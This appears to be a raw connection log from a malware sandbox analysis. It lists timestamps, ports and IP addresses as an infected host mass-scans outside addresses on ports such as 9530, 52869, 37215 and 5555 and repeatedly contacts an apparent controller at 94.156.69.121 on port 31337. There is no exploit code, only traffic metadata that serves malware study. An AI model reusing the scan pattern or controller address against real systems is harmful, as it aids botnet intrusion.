May 16, 2024 16:38:49.019341946 CEST	9530	55095	25.201.102.160	192.168.2.23
May 16, 2024 16:38:49.019351959 CEST	9530	55095	143.72.201.95	192.168.2.23
May 16, 2024 16:38:49.019361019 CEST	9530	55095	144.164.157.209	192.168.2.23
May 16, 2024 16:38:49.019365072 CEST	55095	9530	192.168.2.23	122.114.255.247
May 16, 2024 16:38:49.019365072 CEST	55095	9530	192.168.2.23	41.228.167.168
May 16, 2024 16:38:49.019365072 CEST	55095	9530	192.168.2.23	39.84.30.136
May 16, 2024 16:38:49.019370079 CEST	9530	55095	41.168.18.155	192.168.2.23
May 16, 2024 16:38:49.019371986 CEST	55095	9530	192.168.2.23	25.201.102.160
May 16, 2024 16:38:49.019378901 CEST	9530	55095	45.172.185.63	192.168.2.23
May 16, 2024 16:38:49.019383907 CEST	55095	9530	192.168.2.23	143.72.201.95
May 16, 2024 16:38:49.019383907 CEST	55095	9530	192.168.2.23	144.164.157.209
May 16, 2024 16:38:49.019388914 CEST	9530	55095	187.151.245.101	192.168.2.23
May 16, 2024 16:38:49.019397020 CEST	55095	9530	192.168.2.23	41.168.18.155
May 16, 2024 16:38:49.019398928 CEST	9530	55095	68.35.206.193	192.168.2.23
May 16, 2024 16:38:49.019406080 CEST	55095	9530	192.168.2.23	45.172.185.63
May 16, 2024 16:38:49.019407988 CEST	9530	55095	116.167.204.194	192.168.2.23
May 16, 2024 16:38:49.019418001 CEST	9530	55095	213.198.17.201	192.168.2.23
May 16, 2024 16:38:49.019418955 CEST	55095	9530	192.168.2.23	187.151.245.101
May 16, 2024 16:38:49.019427061 CEST	55095	9530	192.168.2.23	116.167.204.194
May 16, 2024 16:38:49.019427061 CEST	9530	55095	188.91.234.235	192.168.2.23
May 16, 2024 16:38:49.019432068 CEST	55095	9530	192.168.2.23	68.35.206.193
May 16, 2024 16:38:49.019435883 CEST	9530	55095	103.237.81.249	192.168.2.23
May 16, 2024 16:38:49.019447088 CEST	9530	55095	134.75.125.133	192.168.2.23
May 16, 2024 16:38:49.019457102 CEST	9530	55095	47.63.57.56	192.168.2.23
May 16, 2024 16:38:49.019459963 CEST	55095	9530	192.168.2.23	188.91.234.235
May 16, 2024 16:38:49.019464016 CEST	55095	9530	192.168.2.23	103.237.81.249
May 16, 2024 16:38:49.019468069 CEST	9530	55095	59.147.217.107	192.168.2.23
May 16, 2024 16:38:49.019470930 CEST	55095	9530	192.168.2.23	213.198.17.201
May 16, 2024 16:38:49.019483089 CEST	9530	55095	39.255.240.60	192.168.2.23
May 16, 2024 16:38:49.019483089 CEST	55095	9530	192.168.2.23	47.63.57.56
May 16, 2024 16:38:49.019489050 CEST	55095	9530	192.168.2.23	134.75.125.133
May 16, 2024 16:38:49.019493103 CEST	9530	55095	156.114.250.153	192.168.2.23
May 16, 2024 16:38:49.019501925 CEST	55095	9530	192.168.2.23	59.147.217.107
May 16, 2024 16:38:49.019501925 CEST	9530	55095	219.239.29.156	192.168.2.23
May 16, 2024 16:38:49.019511938 CEST	55095	9530	192.168.2.23	156.114.250.153
May 16, 2024 16:38:49.019512892 CEST	9530	55095	124.106.83.110	192.168.2.23
May 16, 2024 16:38:49.019515038 CEST	55095	9530	192.168.2.23	39.255.240.60
May 16, 2024 16:38:49.019522905 CEST	9530	55095	75.157.13.220	192.168.2.23
May 16, 2024 16:38:49.019530058 CEST	55095	9530	192.168.2.23	219.239.29.156
May 16, 2024 16:38:49.019531965 CEST	9530	55095	35.181.204.110	192.168.2.23
May 16, 2024 16:38:49.019542933 CEST	9530	55095	212.167.158.48	192.168.2.23
May 16, 2024 16:38:49.019546986 CEST	55095	9530	192.168.2.23	75.157.13.220
May 16, 2024 16:38:49.019548893 CEST	55095	9530	192.168.2.23	124.106.83.110
May 16, 2024 16:38:49.019552946 CEST	9530	55095	212.215.148.178	192.168.2.23
May 16, 2024 16:38:49.019562960 CEST	9530	55095	23.83.119.210	192.168.2.23
May 16, 2024 16:38:49.019567966 CEST	55095	9530	192.168.2.23	212.167.158.48
May 16, 2024 16:38:49.019567966 CEST	55095	9530	192.168.2.23	35.181.204.110
May 16, 2024 16:38:49.019571066 CEST	9530	55095	98.152.207.40	192.168.2.23
May 16, 2024 16:38:49.019582033 CEST	9530	55095	68.1.126.22	192.168.2.23
May 16, 2024 16:38:49.019592047 CEST	9530	55095	89.202.103.145	192.168.2.23
May 16, 2024 16:38:49.019597054 CEST	55095	9530	192.168.2.23	23.83.119.210
May 16, 2024 16:38:49.019598007 CEST	55095	9530	192.168.2.23	212.215.148.178
May 16, 2024 16:38:49.019601107 CEST	9530	55095	1.253.112.180	192.168.2.23
May 16, 2024 16:38:49.019613028 CEST	55095	9530	192.168.2.23	98.152.207.40
May 16, 2024 16:38:49.019630909 CEST	55095	9530	192.168.2.23	1.253.112.180
May 16, 2024 16:38:49.019664049 CEST	55095	9530	192.168.2.23	68.1.126.22
May 16, 2024 16:38:49.019664049 CEST	55095	9530	192.168.2.23	89.202.103.145
May 16, 2024 16:38:49.022897959 CEST	9530	55095	32.251.131.254	192.168.2.23
May 16, 2024 16:38:49.022914886 CEST	9530	55095	151.244.240.188	192.168.2.23
May 16, 2024 16:38:49.022924900 CEST	9530	55095	222.184.30.153	192.168.2.23
May 16, 2024 16:38:49.022933960 CEST	9530	55095	167.224.132.102	192.168.2.23
May 16, 2024 16:38:49.022943974 CEST	9530	55095	211.22.174.251	192.168.2.23
May 16, 2024 16:38:49.022950888 CEST	55095	9530	192.168.2.23	222.184.30.153
May 16, 2024 16:38:49.022950888 CEST	55095	9530	192.168.2.23	32.251.131.254
May 16, 2024 16:38:49.022952080 CEST	9530	55095	137.240.223.2	192.168.2.23
May 16, 2024 16:38:49.022962093 CEST	9530	55095	199.114.71.97	192.168.2.23
May 16, 2024 16:38:49.022964954 CEST	55095	9530	192.168.2.23	167.224.132.102
May 16, 2024 16:38:49.022968054 CEST	55095	9530	192.168.2.23	151.244.240.188
May 16, 2024 16:38:49.022968054 CEST	55095	9530	192.168.2.23	211.22.174.251
May 16, 2024 16:38:49.022972107 CEST	9530	55095	84.189.31.117	192.168.2.23
May 16, 2024 16:38:49.022981882 CEST	9530	55095	18.31.8.51	192.168.2.23
May 16, 2024 16:38:49.022983074 CEST	55095	9530	192.168.2.23	137.240.223.2
May 16, 2024 16:38:49.022991896 CEST	9530	55095	70.136.82.41	192.168.2.23
May 16, 2024 16:38:49.023004055 CEST	9530	55095	194.187.180.19	192.168.2.23
May 16, 2024 16:38:49.023008108 CEST	55095	9530	192.168.2.23	84.189.31.117
May 16, 2024 16:38:49.023009062 CEST	55095	9530	192.168.2.23	199.114.71.97
May 16, 2024 16:38:49.023009062 CEST	55095	9530	192.168.2.23	18.31.8.51
May 16, 2024 16:38:49.023013115 CEST	55095	9530	192.168.2.23	70.136.82.41
May 16, 2024 16:38:49.023015022 CEST	9530	55095	25.142.74.188	192.168.2.23
May 16, 2024 16:38:49.023025036 CEST	9530	55095	139.80.81.163	192.168.2.23
May 16, 2024 16:38:49.023035049 CEST	9530	55095	209.214.245.218	192.168.2.23
May 16, 2024 16:38:49.023044109 CEST	9530	55095	210.56.132.132	192.168.2.23
May 16, 2024 16:38:49.023044109 CEST	55095	9530	192.168.2.23	194.187.180.19
May 16, 2024 16:38:49.023046970 CEST	55095	9530	192.168.2.23	25.142.74.188
May 16, 2024 16:38:49.023053885 CEST	9530	55095	168.88.97.100	192.168.2.23
May 16, 2024 16:38:49.023061991 CEST	55095	9530	192.168.2.23	139.80.81.163
May 16, 2024 16:38:49.023062944 CEST	9530	55095	109.149.123.128	192.168.2.23
May 16, 2024 16:38:49.023063898 CEST	55095	9530	192.168.2.23	209.214.245.218
May 16, 2024 16:38:49.023072958 CEST	9530	55095	64.95.89.102	192.168.2.23
May 16, 2024 16:38:49.023082018 CEST	9530	55095	122.212.172.231	192.168.2.23
May 16, 2024 16:38:49.023082018 CEST	55095	9530	192.168.2.23	168.88.97.100
May 16, 2024 16:38:49.023091078 CEST	9530	55095	110.131.213.231	192.168.2.23
May 16, 2024 16:38:49.023093939 CEST	55095	9530	192.168.2.23	210.56.132.132
May 16, 2024 16:38:49.023097038 CEST	55095	9530	192.168.2.23	109.149.123.128
May 16, 2024 16:38:49.023101091 CEST	9530	55095	116.206.137.97	192.168.2.23
May 16, 2024 16:38:49.023108959 CEST	55095	9530	192.168.2.23	64.95.89.102
May 16, 2024 16:38:49.023113012 CEST	9530	55095	211.70.75.96	192.168.2.23
May 16, 2024 16:38:49.023123980 CEST	9530	55095	140.156.205.124	192.168.2.23
May 16, 2024 16:38:49.023128986 CEST	55095	9530	192.168.2.23	122.212.172.231
May 16, 2024 16:38:49.023128986 CEST	55095	9530	192.168.2.23	110.131.213.231
May 16, 2024 16:38:49.023137093 CEST	9530	55095	35.3.206.199	192.168.2.23
May 16, 2024 16:38:49.023139954 CEST	55095	9530	192.168.2.23	116.206.137.97
May 16, 2024 16:38:49.023145914 CEST	9530	55095	183.126.244.181	192.168.2.23
May 16, 2024 16:38:49.023155928 CEST	52869	55506	203.41.43.119	192.168.2.23
May 16, 2024 16:38:49.023158073 CEST	55095	9530	192.168.2.23	211.70.75.96
May 16, 2024 16:38:49.023159027 CEST	55095	9530	192.168.2.23	140.156.205.124
May 16, 2024 16:38:49.023159027 CEST	55095	9530	192.168.2.23	35.3.206.199
May 16, 2024 16:38:49.023165941 CEST	52869	45944	163.32.182.167	192.168.2.23
May 16, 2024 16:38:49.023169994 CEST	55095	9530	192.168.2.23	183.126.244.181
May 16, 2024 16:38:49.023175001 CEST	52869	37758	212.31.178.117	192.168.2.23
May 16, 2024 16:38:49.023185968 CEST	52869	43344	186.36.32.96	192.168.2.23
May 16, 2024 16:38:49.023194075 CEST	52869	54060	22.237.152.155	192.168.2.23
May 16, 2024 16:38:49.023204088 CEST	52869	50322	32.101.154.179	192.168.2.23
May 16, 2024 16:38:49.023211956 CEST	45944	52869	192.168.2.23	163.32.182.167
May 16, 2024 16:38:49.023212910 CEST	52869	56762	217.121.249.104	192.168.2.23
May 16, 2024 16:38:49.023221016 CEST	55506	52869	192.168.2.23	203.41.43.119
May 16, 2024 16:38:49.023221016 CEST	37758	52869	192.168.2.23	212.31.178.117
May 16, 2024 16:38:49.023222923 CEST	52869	49148	41.196.59.121	192.168.2.23
May 16, 2024 16:38:49.023225069 CEST	43344	52869	192.168.2.23	186.36.32.96
May 16, 2024 16:38:49.023231983 CEST	52869	55496	205.153.152.20	192.168.2.23
May 16, 2024 16:38:49.023240089 CEST	52869	57694	220.226.31.47	192.168.2.23
May 16, 2024 16:38:49.023248911 CEST	56762	52869	192.168.2.23	217.121.249.104
May 16, 2024 16:38:49.023248911 CEST	49148	52869	192.168.2.23	41.196.59.121
May 16, 2024 16:38:49.023269892 CEST	54060	52869	192.168.2.23	22.237.152.155
May 16, 2024 16:38:49.023269892 CEST	50322	52869	192.168.2.23	32.101.154.179
May 16, 2024 16:38:49.023299932 CEST	55496	52869	192.168.2.23	205.153.152.20
May 16, 2024 16:38:49.023303032 CEST	57694	52869	192.168.2.23	220.226.31.47
May 16, 2024 16:38:49.207195997 CEST	44840	8080	192.168.2.23	81.134.185.77
May 16, 2024 16:38:49.214116096 CEST	60148	8080	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.217466116 CEST	33438	8080	192.168.2.23	178.43.10.146
May 16, 2024 16:38:49.217876911 CEST	59904	8080	192.168.2.23	17.202.189.141
May 16, 2024 16:38:49.222461939 CEST	57904	8080	192.168.2.23	64.205.122.221
May 16, 2024 16:38:49.229088068 CEST	8080	44840	81.134.185.77	192.168.2.23
May 16, 2024 16:38:49.229106903 CEST	8080	60148	213.47.195.110	192.168.2.23
May 16, 2024 16:38:49.229126930 CEST	44840	8080	192.168.2.23	81.134.185.77
May 16, 2024 16:38:49.229141951 CEST	8080	33438	178.43.10.146	192.168.2.23
May 16, 2024 16:38:49.229150057 CEST	8080	59904	17.202.189.141	192.168.2.23
May 16, 2024 16:38:49.229182959 CEST	33438	8080	192.168.2.23	178.43.10.146
May 16, 2024 16:38:49.229187965 CEST	60148	8080	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.229198933 CEST	59904	8080	192.168.2.23	17.202.189.141
May 16, 2024 16:38:49.233414888 CEST	34364	8080	192.168.2.23	181.188.20.229
May 16, 2024 16:38:49.233546972 CEST	8080	57904	64.205.122.221	192.168.2.23
May 16, 2024 16:38:49.233617067 CEST	57904	8080	192.168.2.23	64.205.122.221
May 16, 2024 16:38:49.242032051 CEST	33124	8080	192.168.2.23	119.61.39.176
May 16, 2024 16:38:49.250144005 CEST	34702	80	192.168.2.23	81.134.185.77
May 16, 2024 16:38:49.250396967 CEST	49912	80	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.250575066 CEST	40108	80	192.168.2.23	178.43.10.146
May 16, 2024 16:38:49.250758886 CEST	37404	80	192.168.2.23	17.202.189.141
May 16, 2024 16:38:49.257848024 CEST	51984	80	192.168.2.23	64.205.122.221
May 16, 2024 16:38:49.262082100 CEST	56608	8080	192.168.2.23	45.89.131.53
May 16, 2024 16:38:49.263459921 CEST	60506	8080	192.168.2.23	118.235.32.54
May 16, 2024 16:38:49.272737026 CEST	8080	34364	181.188.20.229	192.168.2.23
May 16, 2024 16:38:49.272756100 CEST	8080	33124	119.61.39.176	192.168.2.23
May 16, 2024 16:38:49.272766113 CEST	80	34702	81.134.185.77	192.168.2.23
May 16, 2024 16:38:49.272788048 CEST	80	49912	213.47.195.110	192.168.2.23
May 16, 2024 16:38:49.272798061 CEST	80	40108	178.43.10.146	192.168.2.23
May 16, 2024 16:38:49.272806883 CEST	80	37404	17.202.189.141	192.168.2.23
May 16, 2024 16:38:49.272816896 CEST	80	51984	64.205.122.221	192.168.2.23
May 16, 2024 16:38:49.272818089 CEST	34364	8080	192.168.2.23	181.188.20.229
May 16, 2024 16:38:49.272825003 CEST	8080	56608	45.89.131.53	192.168.2.23
May 16, 2024 16:38:49.272860050 CEST	34702	80	192.168.2.23	81.134.185.77
May 16, 2024 16:38:49.272860050 CEST	33124	8080	192.168.2.23	119.61.39.176
May 16, 2024 16:38:49.272861004 CEST	51984	80	192.168.2.23	64.205.122.221
May 16, 2024 16:38:49.272860050 CEST	37404	80	192.168.2.23	17.202.189.141
May 16, 2024 16:38:49.272864103 CEST	40108	80	192.168.2.23	178.43.10.146
May 16, 2024 16:38:49.272864103 CEST	49912	80	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.272864103 CEST	56608	8080	192.168.2.23	45.89.131.53
May 16, 2024 16:38:49.277195930 CEST	49912	80	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.277415991 CEST	37404	80	192.168.2.23	17.202.189.141
May 16, 2024 16:38:49.277508974 CEST	8080	60506	118.235.32.54	192.168.2.23
May 16, 2024 16:38:49.277555943 CEST	60506	8080	192.168.2.23	118.235.32.54
May 16, 2024 16:38:49.277920008 CEST	34702	80	192.168.2.23	81.134.185.77
May 16, 2024 16:38:49.278137922 CEST	51984	80	192.168.2.23	64.205.122.221
May 16, 2024 16:38:49.282376051 CEST	40108	80	192.168.2.23	178.43.10.146
May 16, 2024 16:38:49.288001060 CEST	80	49912	213.47.195.110	192.168.2.23
May 16, 2024 16:38:49.288011074 CEST	80	37404	17.202.189.141	192.168.2.23
May 16, 2024 16:38:49.288688898 CEST	37628	80	192.168.2.23	181.188.20.229
May 16, 2024 16:38:49.290246964 CEST	47404	80	192.168.2.23	119.61.39.176
May 16, 2024 16:38:49.291407108 CEST	42358	80	192.168.2.23	118.235.32.54
May 16, 2024 16:38:49.292593956 CEST	44310	80	192.168.2.23	45.89.131.53
May 16, 2024 16:38:49.293900967 CEST	80	34702	81.134.185.77	192.168.2.23
May 16, 2024 16:38:49.293911934 CEST	80	51984	64.205.122.221	192.168.2.23
May 16, 2024 16:38:49.293920994 CEST	80	40108	178.43.10.146	192.168.2.23
May 16, 2024 16:38:49.303448915 CEST	80	37628	181.188.20.229	192.168.2.23
May 16, 2024 16:38:49.303474903 CEST	80	47404	119.61.39.176	192.168.2.23
May 16, 2024 16:38:49.303484917 CEST	80	42358	118.235.32.54	192.168.2.23
May 16, 2024 16:38:49.303493023 CEST	80	44310	45.89.131.53	192.168.2.23
May 16, 2024 16:38:49.303508043 CEST	37628	80	192.168.2.23	181.188.20.229
May 16, 2024 16:38:49.303529978 CEST	47404	80	192.168.2.23	119.61.39.176
May 16, 2024 16:38:49.303544044 CEST	42358	80	192.168.2.23	118.235.32.54
May 16, 2024 16:38:49.303563118 CEST	44310	80	192.168.2.23	45.89.131.53
May 16, 2024 16:38:49.305816889 CEST	37628	80	192.168.2.23	181.188.20.229
May 16, 2024 16:38:49.306026936 CEST	47404	80	192.168.2.23	119.61.39.176
May 16, 2024 16:38:49.306237936 CEST	44310	80	192.168.2.23	45.89.131.53
May 16, 2024 16:38:49.306428909 CEST	42358	80	192.168.2.23	118.235.32.54
May 16, 2024 16:38:49.317794085 CEST	80	37628	181.188.20.229	192.168.2.23
May 16, 2024 16:38:49.317804098 CEST	80	47404	119.61.39.176	192.168.2.23
May 16, 2024 16:38:49.317811966 CEST	80	44310	45.89.131.53	192.168.2.23
May 16, 2024 16:38:49.317821026 CEST	80	42358	118.235.32.54	192.168.2.23
May 16, 2024 16:38:49.378657103 CEST	31337	60122	94.156.69.121	192.168.2.23
May 16, 2024 16:38:49.378709078 CEST	60122	31337	192.168.2.23	94.156.69.121
May 16, 2024 16:38:49.378730059 CEST	60122	31337	192.168.2.23	94.156.69.121
May 16, 2024 16:38:49.394171000 CEST	31337	60122	94.156.69.121	192.168.2.23
May 16, 2024 16:38:49.482628107 CEST	49912	80	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.483488083 CEST	51984	80	192.168.2.23	64.205.122.221
May 16, 2024 16:38:49.483494043 CEST	34702	80	192.168.2.23	81.134.185.77
May 16, 2024 16:38:49.484121084 CEST	37404	80	192.168.2.23	17.202.189.141
May 16, 2024 16:38:49.486144066 CEST	40108	80	192.168.2.23	178.43.10.146
May 16, 2024 16:38:49.503057003 CEST	44840	8080	192.168.2.23	81.134.185.77
May 16, 2024 16:38:49.503854990 CEST	60148	8080	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.507565975 CEST	57904	8080	192.168.2.23	64.205.122.221
May 16, 2024 16:38:49.509030104 CEST	37628	80	192.168.2.23	181.188.20.229
May 16, 2024 16:38:49.509124994 CEST	47404	80	192.168.2.23	119.61.39.176
May 16, 2024 16:38:49.509546995 CEST	33438	8080	192.168.2.23	178.43.10.146
May 16, 2024 16:38:49.509560108 CEST	44310	80	192.168.2.23	45.89.131.53
May 16, 2024 16:38:49.509618044 CEST	42358	80	192.168.2.23	118.235.32.54
May 16, 2024 16:38:49.511456966 CEST	59904	8080	192.168.2.23	17.202.189.141
May 16, 2024 16:38:49.525722980 CEST	34364	8080	192.168.2.23	181.188.20.229
May 16, 2024 16:38:49.528409958 CEST	80	49912	213.47.195.110	192.168.2.23
May 16, 2024 16:38:49.529717922 CEST	33124	8080	192.168.2.23	119.61.39.176
May 16, 2024 16:38:49.530409098 CEST	56608	8080	192.168.2.23	45.89.131.53
May 16, 2024 16:38:49.531404018 CEST	60506	8080	192.168.2.23	118.235.32.54
May 16, 2024 16:38:49.539056063 CEST	8080	44840	81.134.185.77	192.168.2.23
May 16, 2024 16:38:49.539067984 CEST	8080	60148	213.47.195.110	192.168.2.23
May 16, 2024 16:38:49.539079905 CEST	8080	57904	64.205.122.221	192.168.2.23
May 16, 2024 16:38:49.539089918 CEST	8080	33438	178.43.10.146	192.168.2.23
May 16, 2024 16:38:49.539098978 CEST	8080	59904	17.202.189.141	192.168.2.23
May 16, 2024 16:38:49.539108992 CEST	8080	34364	181.188.20.229	192.168.2.23
May 16, 2024 16:38:49.539108992 CEST	44840	8080	192.168.2.23	81.134.185.77
May 16, 2024 16:38:49.539124012 CEST	80	40108	178.43.10.146	192.168.2.23
May 16, 2024 16:38:49.539134026 CEST	33438	8080	192.168.2.23	178.43.10.146
May 16, 2024 16:38:49.539134979 CEST	80	37404	17.202.189.141	192.168.2.23
May 16, 2024 16:38:49.539144993 CEST	80	34702	81.134.185.77	192.168.2.23
May 16, 2024 16:38:49.539145947 CEST	60148	8080	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.539146900 CEST	57904	8080	192.168.2.23	64.205.122.221
May 16, 2024 16:38:49.539146900 CEST	34364	8080	192.168.2.23	181.188.20.229
May 16, 2024 16:38:49.539150000 CEST	59904	8080	192.168.2.23	17.202.189.141
May 16, 2024 16:38:49.539155006 CEST	80	51984	64.205.122.221	192.168.2.23
May 16, 2024 16:38:49.545392036 CEST	8080	33124	119.61.39.176	192.168.2.23
May 16, 2024 16:38:49.545402050 CEST	8080	56608	45.89.131.53	192.168.2.23
May 16, 2024 16:38:49.545412064 CEST	8080	60506	118.235.32.54	192.168.2.23
May 16, 2024 16:38:49.545428991 CEST	33124	8080	192.168.2.23	119.61.39.176
May 16, 2024 16:38:49.545438051 CEST	56608	8080	192.168.2.23	45.89.131.53
May 16, 2024 16:38:49.545464993 CEST	60506	8080	192.168.2.23	118.235.32.54
May 16, 2024 16:38:49.548000097 CEST	46372	37215	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.552679062 CEST	36922	37215	192.168.2.23	81.134.185.77
May 16, 2024 16:38:49.559555054 CEST	42136	37215	192.168.2.23	17.202.189.141
May 16, 2024 16:38:49.559842110 CEST	33890	37215	192.168.2.23	178.43.10.146
May 16, 2024 16:38:49.560203075 CEST	37215	46372	213.47.195.110	192.168.2.23
May 16, 2024 16:38:49.560286045 CEST	46372	37215	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.564975023 CEST	37215	36922	81.134.185.77	192.168.2.23
May 16, 2024 16:38:49.565013885 CEST	36922	37215	192.168.2.23	81.134.185.77
May 16, 2024 16:38:49.567145109 CEST	35986	37215	192.168.2.23	64.205.122.221
May 16, 2024 16:38:49.569771051 CEST	37215	42136	17.202.189.141	192.168.2.23
May 16, 2024 16:38:49.569781065 CEST	37215	33890	178.43.10.146	192.168.2.23
May 16, 2024 16:38:49.569892883 CEST	46372	37215	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.569915056 CEST	42136	37215	192.168.2.23	17.202.189.141
May 16, 2024 16:38:49.569966078 CEST	33890	37215	192.168.2.23	178.43.10.146
May 16, 2024 16:38:49.574574947 CEST	37215	35986	64.205.122.221	192.168.2.23
May 16, 2024 16:38:49.574613094 CEST	35986	37215	192.168.2.23	64.205.122.221
May 16, 2024 16:38:49.579339981 CEST	80	42358	118.235.32.54	192.168.2.23
May 16, 2024 16:38:49.579349995 CEST	80	44310	45.89.131.53	192.168.2.23
May 16, 2024 16:38:49.579360962 CEST	80	47404	119.61.39.176	192.168.2.23
May 16, 2024 16:38:49.579371929 CEST	80	37628	181.188.20.229	192.168.2.23
May 16, 2024 16:38:49.579998970 CEST	36922	37215	192.168.2.23	81.134.185.77
May 16, 2024 16:38:49.584053040 CEST	37215	46372	213.47.195.110	192.168.2.23
May 16, 2024 16:38:49.584080935 CEST	46372	37215	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.586302996 CEST	33890	37215	192.168.2.23	178.43.10.146
May 16, 2024 16:38:49.587240934 CEST	42136	37215	192.168.2.23	17.202.189.141
May 16, 2024 16:38:49.588871002 CEST	37215	36922	81.134.185.77	192.168.2.23
May 16, 2024 16:38:49.588967085 CEST	36922	37215	192.168.2.23	81.134.185.77
May 16, 2024 16:38:49.590572119 CEST	35986	37215	192.168.2.23	64.205.122.221
May 16, 2024 16:38:49.599509954 CEST	37215	33890	178.43.10.146	192.168.2.23
May 16, 2024 16:38:49.599519968 CEST	37215	42136	17.202.189.141	192.168.2.23
May 16, 2024 16:38:49.599590063 CEST	33890	37215	192.168.2.23	178.43.10.146
May 16, 2024 16:38:49.599654913 CEST	42136	37215	192.168.2.23	17.202.189.141
May 16, 2024 16:38:49.604269028 CEST	37215	35986	64.205.122.221	192.168.2.23
May 16, 2024 16:38:49.604315996 CEST	35986	37215	192.168.2.23	64.205.122.221
May 16, 2024 16:38:49.724967003 CEST	31337	60122	94.156.69.121	192.168.2.23
May 16, 2024 16:38:49.725011110 CEST	80	40108	178.43.10.146	192.168.2.23
May 16, 2024 16:38:49.725020885 CEST	80	37628	181.188.20.229	192.168.2.23
May 16, 2024 16:38:49.725030899 CEST	80	49912	213.47.195.110	192.168.2.23
May 16, 2024 16:38:49.725034952 CEST	60122	31337	192.168.2.23	94.156.69.121
May 16, 2024 16:38:49.725039959 CEST	80	51984	64.205.122.221	192.168.2.23
May 16, 2024 16:38:49.725049019 CEST	80	47404	119.61.39.176	192.168.2.23
May 16, 2024 16:38:49.725141048 CEST	49912	80	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.725141048 CEST	40108	80	192.168.2.23	178.43.10.146
May 16, 2024 16:38:49.725142002 CEST	51984	80	192.168.2.23	64.205.122.221
May 16, 2024 16:38:49.725140095 CEST	37628	80	192.168.2.23	181.188.20.229
May 16, 2024 16:38:49.725142002 CEST	47404	80	192.168.2.23	119.61.39.176
May 16, 2024 16:38:49.736350060 CEST	80	44310	45.89.131.53	192.168.2.23
May 16, 2024 16:38:49.736428976 CEST	44310	80	192.168.2.23	45.89.131.53
May 16, 2024 16:38:49.741169930 CEST	80	37404	17.202.189.141	192.168.2.23
May 16, 2024 16:38:49.741179943 CEST	80	42358	118.235.32.54	192.168.2.23
May 16, 2024 16:38:49.741218090 CEST	42358	80	192.168.2.23	118.235.32.54
May 16, 2024 16:38:49.741216898 CEST	37404	80	192.168.2.23	17.202.189.141
May 16, 2024 16:38:49.745953083 CEST	80	34702	81.134.185.77	192.168.2.23
May 16, 2024 16:38:49.746016979 CEST	34702	80	192.168.2.23	81.134.185.77
May 16, 2024 16:38:49.859481096 CEST	33032	7574	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.886570930 CEST	7574	33032	213.47.195.110	192.168.2.23
May 16, 2024 16:38:49.886729002 CEST	33032	7574	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.889810085 CEST	38650	5555	192.168.2.23	213.47.195.110
May 16, 2024 16:38:49.914400101 CEST	55095	9530	192.168.2.23	116.83.31.7
May 16, 2024 16:38:49.914414883 CEST	55095	9530	192.168.2.23	129.120.127.234
May 16, 2024 16:38:49.914414883 CEST	55095	9530	192.168.2.23	20.120.174.241
May 16, 2024 16:38:49.914414883 CEST	55095	9530	192.168.2.23	98.4.96.238
May 16, 2024 16:38:49.914417982 CEST	55095	9530	192.168.2.23	208.216.24.199
May 16, 2024 16:38:49.914417982 CEST	55095	9530	192.168.2.23	63.13.66.50
May 16, 2024 16:38:49.914426088 CEST	55095	9530	192.168.2.23	104.131.172.115
May 16, 2024 16:38:49.914424896 CEST	55095	9530	192.168.2.23	156.131.229.174
May 16, 2024 16:38:49.914428949 CEST	55095	9530	192.168.2.23	36.47.205.230
May 16, 2024 16:38:49.914428949 CEST	55095	9530	192.168.2.23	189.167.215.251
May 16, 2024 16:38:49.914441109 CEST	55095	9530	192.168.2.23	172.129.168.244
May 16, 2024 16:38:49.914441109 CEST	55095	9530	192.168.2.23	70.98.192.175
May 16, 2024 16:38:49.914443970 CEST	55095	9530	192.168.2.23	115.173.218.28
May 16, 2024 16:38:49.914455891 CEST	55095	9530	192.168.2.23	75.205.198.241
May 16, 2024 16:38:49.914458990 CEST	55095	9530	192.168.2.23	188.158.88.110
May 16, 2024 16:38:49.914462090 CEST	55095	9530	192.168.2.23	108.89.164.74
May 16, 2024 16:38:49.914519072 CEST	55095	9530	192.168.2.23	169.13.13.47
May 16, 2024 16:38:49.914521933 CEST	55095	9530	192.168.2.23	146.32.22.51
May 16, 2024 16:38:49.914519072 CEST	55095	9530	192.168.2.23	82.19.76.101
May 16, 2024 16:38:49.914521933 CEST	55095	9530	192.168.2.23	123.61.117.54
May 16, 2024 16:38:49.914519072 CEST	55095	9530	192.168.2.23	94.61.179.164
May 16, 2024 16:38:49.914521933 CEST	55095	9530	192.168.2.23	67.27.239.117
May 16, 2024 16:38:49.914519072 CEST	55095	9530	192.168.2.23	221.204.3.118
May 16, 2024 16:38:49.914525986 CEST	55095	9530	192.168.2.23	188.164.221.214
May 16, 2024 16:38:49.914522886 CEST	55095	9530	192.168.2.23	51.131.228.75
May 16, 2024 16:38:49.914525986 CEST	55095	9530	192.168.2.23	190.149.49.44
May 16, 2024 16:38:49.914525986 CEST	55095	9530	192.168.2.23	189.148.134.203
May 16, 2024 16:38:49.914525986 CEST	55095	9530	192.168.2.23	132.139.153.173
May 16, 2024 16:38:49.914522886 CEST	55095	9530	192.168.2.23	20.91.217.159
May 16, 2024 16:38:49.914525986 CEST	55095	9530	192.168.2.23	188.173.92.190
May 16, 2024 16:38:49.914525986 CEST	55095	9530	192.168.2.23	96.10.39.244
May 16, 2024 16:38:49.914529085 CEST	55095	9530	192.168.2.23	53.205.153.51
May 16, 2024 16:38:49.914522886 CEST	55095	9530	192.168.2.23	13.203.32.174
May 16, 2024 16:38:49.914519072 CEST	55095	9530	192.168.2.23	187.51.43.152
May 16, 2024 16:38:49.914525986 CEST	55095	9530	192.168.2.23	89.97.236.160
May 16, 2024 16:38:49.914519072 CEST	55095	9530	192.168.2.23	25.126.104.194
May 16, 2024 16:38:49.914525986 CEST	55095	9530	192.168.2.23	107.85.132.164
May 16, 2024 16:38:49.914519072 CEST	55095	9530	192.168.2.23	164.167.225.130
May 16, 2024 16:38:49.914529085 CEST	55095	9530	192.168.2.23	193.85.127.188
May 16, 2024 16:38:49.914522886 CEST	55095	9530	192.168.2.23	50.69.17.109
